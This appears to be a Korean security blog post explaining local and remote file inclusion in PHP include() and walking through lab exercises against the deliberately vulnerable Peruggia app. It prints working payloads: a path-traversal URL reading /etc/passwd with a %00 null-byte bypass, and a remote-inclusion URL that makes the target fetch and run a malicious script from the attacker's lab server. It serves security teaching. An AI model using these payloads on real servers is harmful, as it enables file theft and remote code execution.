LFI와 RFI 개요
LFI
- Local File Include
- 웹 서버가 링크 호출을 통해 특정 파일을 받아오는 구조를 가지고 있을 때(Ex : 이미지 호출)
- ../와 같은 path traversal 취약점을 사용하여 웹 서버 내부 파일을 호출할 수 있는 취약점
RFI
- Remote File Include
- LFI와 기본적인 구조는 같지만, 외부 웹 서버에 있는 악성 모듈을 취약점을 가진 웹 서버가 호출하게 한 후 웹 서버 내에서 악성행위를 한다. 웹 서버에 원격으로 공격자의 코드를 사용한다.
LFI와 RFI의 핵심적인 차이점
- 파일을 포함시킬 때 포함시킬 파일이 취약한 서버의 내부에 있으면 LFI, 취약한 서버의 외부에 있으면 RFI
공격 진행
- 웹 서버 -
(이미지 호출 페이지)
include(받아오는 값);
⇒ 정상적인 값인 image.png가 입력되면
include(image.png);
⇒ 해당 이미지 호출 페이지가 존재하는 디렉터리 안에 있는 image.png가 호출된다.
LFI
- 웹 서버 -
(이미지 호출 페이지)
include(받아오는 값);
⇒ ../../../../etc/passwd 입력하게 되면
include(../../../../etc/passwd);
⇒ 웹 서버를 벗어나서 /etc/passwd라는 계정 정보가 담긴 파일을 호출한다.
RFI
먼저 공격자는 공격용 웹서버를 제작한 후, 그곳에 악성 스크립트를 업로드 해야한다.
⇒ 취약한 웹서버에서 http를 이용해 공격자의 웹서버에서 악성 스크립트를 받아오도록 하기위함이다.
- 웹 서버 -
(이미지 호출 페이지)
include(받아오는 값);
⇒그 후 http://공격자의웹서버/webshell.php와 같은 코드를 입력
include(http://공격자의웹서버/webshell.php);
⇒ 그러면 공격자의 웹서버에서 웹쉘을 받아 온 후 페이지에서 실행시킨다.
include()함수
- PHP에서 다른 파일을 현재 실행 중인 파일에 포함시킬 때 사용하는 함수입니다.
- 포함된 파일의 코드는 현재 파일의 코드와 함께 실행됩니다.
- 사용자 입력으 통해 포함할 파일명을 지정할 경우, 검증되지 않은 파일이 포함되어 악의적인 행동을 할 수 있습니다.
- 아래와 같이 쓰여진 경우 악의적으로 이용될 가능성이 있습니다.
LFI 시스템 정보 탈취 실습: Peruggia Case
실습PC
[Attacker_Kail2.0]
IP:192.168.10.10/24
[OWASPBWA_Ubuntu 1]
IP:192.168.40./24
Domain: http://brokenweb.com
- 가상머신을 켜고 'http://brokenweb.com/peruggia'에 접속합니다.
- 메뉴를 클릭해보면, action 매개변수가 메뉴에 따라 변경되는 것을 확인할 수 있습니다.
- 즉, 해당 웹 사이트는 페이지를 이동할 때, URL을 전체 변경하는 방식으로 이동하는 것이 아닌, 이동할 페이지를 index.php페이지에 포함시키는 방식으로 동작함을 알 수 있습니다.

- action 매개변수에 정보를 탈취하기 위한 경로를 입력합니다.
- 아래와 같이 '../../../../../../../etc/passwd'를 입력해도 아무런 정보를 얻을 수 없다는 것을 확인할 수 있습니다.
- 이때, '%00' 종단 문자를 활용하면 서버가 경로 끝으로 인식하여 /etc/passwd 파일에 접근할 수 있습니다.
http://brokenweb.com/peruggia/index.php?action=../../../../../../../etc/passwd

http://brokenweb.com/peruggia/index.php?action=../../../../../../../etc/passwd%00
LFI
- 웹 서버 -
(이미지 호출 페이지)
include(받아오는 값.".php");
⇒ ../../../../etc/passwd%00 입력하게 되면
- 웹 서버 -
(이미지 호출 페이지)
include(../../../../etc/passwd%00.php");
⇒ 이때 %00은 종단문자이기 때문에, 서버는 뒤에 오는 .php를 무시하게 됩니다. 따라서
include(../../../../etc/passwd);
⇒ 와 같이 해석된다.

RFI 시스템 정보 탈취 실습: Peruggia Case
실습PC
[Attacker_Kail2.0]
IP:192.168.10.10/24
[OWASPBWA_Ubuntu 1]
IP:192.168.40./24
Domain: http://brokenweb.com
- 가상머신을 켜고 'http://brokenweb.com/peruggia/index2.php' 에 접속합니다.

- 터미널을 켜고 공격자용 웹서버를 켜줍니다.
- 이 때, php엔진을 종료해야 공격자의 서버에서 악성 스크립트 동작을 막을 수 있습니다.
- 아래 명령어로 악성 스크립트를 확인할 수 있습니다.
cat /var/www/html/3_plugin_twindow/skin_gray/frame_design.php

- action 매개변수에 공격자 서버의 악성 스크립트 경로를 입력하여 악성스크립트를 실행시킵니다.
http://brokenweb.com/peruggia/index2.php?action=http://192.168.10.10/3_plugin_twindow/skin_gray/frame_design.php

'cs > sec' 카테고리의 다른 글
| [실습] 쉘 코드의 GetPC 루틴 구현 및 디버깅 실습 (FSTENV 패턴) (0) | 2025.12.19 |
|---|---|
| [이론] 쉘 코드 개요 (0) | 2025.12.19 |
| 웹 서비스 해킹을 위한 버프스위트 활용 가이드 (1) | 2025.12.19 |
| [인프라와 웹의 위협기술]7. 윈도우의 권한상승 케이스 분석 - Fodhelper UAC Bypass (0) | 2025.12.18 |
| [인프라와 웹의 위협기술]6. 포트 포워딩을 이용한 피버팅 환경 구성 (0) | 2025.12.16 |